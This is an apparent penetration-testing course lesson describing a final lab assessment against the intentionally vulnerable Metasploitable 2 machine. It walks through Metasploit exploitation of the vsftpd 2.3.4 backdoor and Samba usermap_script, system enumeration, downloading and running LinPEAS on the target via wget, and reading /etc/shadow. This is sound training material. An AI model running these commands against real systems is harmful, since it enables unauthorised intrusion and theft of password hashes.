Final Assessment
The final assessment tests your Linux command-line proficiency through a series of practical challenges that mirror real-world security tasks. You will navigate an unfamiliar filesystem, analyze logs, manage users and permissions, write a script, and investigate a simulated compromise — all from the terminal. This assessment demonstrates the Linux fluency required for professional security work.
Learning Objectives — Deep Dive
Each objective below is broken down into plain English so you know exactly what you are learning, why it matters, and what you will be able to do when you are done. Mark each one complete as you work through the lesson.
Gain initial access
Use Metasploit to exploit a known vulnerability on Metasploitable 2 — a good starting point is the vsftpd 2.3.4 backdoor (CVE-2011-2523). Run 'msfconsole', then 'use exploit/unix/ftp/vsftpd_234_backdoor', set 'RHOSTS <metasploitable-ip>', and run 'exploit'. If successful, you will receive a root shell directly. Alternatively, exploit the Samba usermap_script vulnerability with 'use exploit/multi/samba/usermap_script'. Document the exact module used, the target IP, and the time of exploitation — this information is required in your penetration test report.
msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.56.101; exploit'Enumerate the system
From your shell on the compromised system, run the standard enumeration commands: 'id', 'uname -a', 'cat /etc/os-release', 'ip addr', 'ps aux', 'cat /etc/passwd', and 'sudo -l'. This gives you a complete picture of the system: who you are, what OS and kernel version is running, what network interfaces exist, what processes are running, what users exist, and what sudo permissions are available. Save all output to a file on your Kali machine for later analysis — pipe each command through 'tee -a enum.txt' to capture it.
id && uname -a && ip addr && cat /etc/passwdRun LinPEAS
Download LinPEAS (Linux Privilege Escalation Awesome Script) from github.com/carlospolop/PEASS-ng and transfer it to the target with 'wget http://<kali-ip>:8080/linpeas.sh' (serve it from Kali with 'python3 -m http.server 8080'). Run 'chmod +x linpeas.sh && ./linpeas.sh | tee linpeas-output.txt' to execute it and save the output. LinPEAS color-codes its findings: red/yellow indicates high-confidence privilege escalation vectors, yellow indicates interesting findings, and white is informational. Review the output systematically, starting with the highest-confidence findings.
wget http://<kali-ip>:8080/linpeas.sh && chmod +x linpeas.sh && ./linpeas.shEscalate privileges
Using the findings from LinPEAS, identify the most promising privilege escalation vector and execute it. On Metasploitable 2, common vectors include world-writable cron scripts, SUID binaries exploitable via GTFOBins, and weak sudo configurations. After escalating, run 'id' to confirm you have root (uid=0), then read /etc/shadow to prove full compromise. If the initial exploit already gave you a root shell (as with vsftpd), this step confirms you maintained root access through the enumeration phase. Document the exact escalation path with commands and output.
id && cat /etc/shadowDocument the path
Write a complete attack narrative documenting every step from initial access to root: the vulnerability exploited, the exact commands run, the output at each step, and the timestamps. Structure it as an attack chain: Initial Access > Enumeration > Privilege Escalation > Post-Exploitation. Include screenshots of key moments — the initial shell, the 'id' output showing root, and the /etc/shadow contents. This documentation is the deliverable of a penetration test — without it, the technical work has no value to the client. Practice writing this narrative clearly enough that someone who was not present could reproduce every step.